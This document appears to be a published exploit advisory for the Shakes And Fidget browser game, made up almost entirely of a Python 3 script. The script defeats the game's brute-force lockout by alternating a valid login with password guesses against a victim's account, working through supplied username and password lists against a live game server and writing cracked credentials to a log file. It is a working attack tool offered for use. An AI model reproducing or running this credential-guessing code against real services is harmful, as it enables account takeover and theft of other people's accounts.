|
# Exploit Title: [Shakes And Fidget - Brute Force Protection Bypass]
# Date: [04/07/2012]
# Author: [SnakingMax]
# Website: http://snakingmax.blogspot.com/
# Software Link: [http://www.sfgame.es/]
# Vendor: Playa Games GmbH
# Category: [Remote Exploit]
# Vulnerability description:
# Bypass brute force protection by alternating a positive attempt (legitimate account)
# with a test attempt (victim's account).
#
# 26/12/2011 - Vendor informed
# 04/07/2012 - Vulnerability not fixed
######################### EXPLOIT CODE (python 3) ############################
import sys, time, hashlib
from random import randrange
from http.client import HTTPConnection
import urllib.request
def str2md5( string ):
return hashlib.md5(string.encode('utf-8')).hexdigest()
def tryUserPass(username, password):
print("Trying User: "+username+" and Pass:"+password)
conn = HTTPConnection('s4.sfgame.es')
# positive attempt (legitimate account)
conn.request('GET', "/request.php?req=00000000000000000000000000000000002sfbf%3Bacc1c81abcdab1f53cfdfe7030c076bc%3Bv1.60&random=%2&rnd=0")
response = conn.getresponse()
response.close()
conn.close()
conn = HTTPConnection('s4.sfgame.es')
# test attempt (victim's account)
conn.request('GET', "/request.php?req=00000000000000000000000000000000002{0}%3B{1}%3Bv1.60&random=%2&rnd={2}".format(username.strip(),str2md5(str(password.strip())), randrange(999999)))
response = conn.getresponse()
data = response.read()[:10]
response.close()
conn.close()
if (len(str(data)) > 7):
print("Password found. See log.txt file.")
return True
else:
return False
def bruteforce(userlist, pwdlist):
usersFileList = open ( userlist , 'rt')
dumpUsers = usersFileList.read()
usersFileList.close()
userl = dumpUsers.split()
pwdFileList = open (pwdlist, 'rt')
dumpPwd = pwdFileList.read()
pwdl = dumpPwd.split()
pwdFileList.close()
for i in range(len(userl)):
for j in range(len(pwdl)):
if (tryUserPass(userl[i], pwdl[j])):
log = open ('log.txt', 'at')
log.write("\n------PASSWORD FOUND------\nUsername: " + userl[i] + "\nPassword: " + pwdl[j] + "\n--------------------------")
log.close()
if ( (__name__)=="__main__" ):
if len(sys.argv) != 3:
print("usage:\n")
print( sys.argv[0]+" [userlist.txt] [pwdlist.txt]\n\n")
print("Downloaded from: http://snakingmax.blogspot.com/")
else:
userlist = sys.argv[1];
pwdlist = sys.argv[2];
print("Trying Username/Password combinations...")
bruteforce(userlist, pwdlist)
######################### END OF EXPLOIT CODE (python 3) ############################
|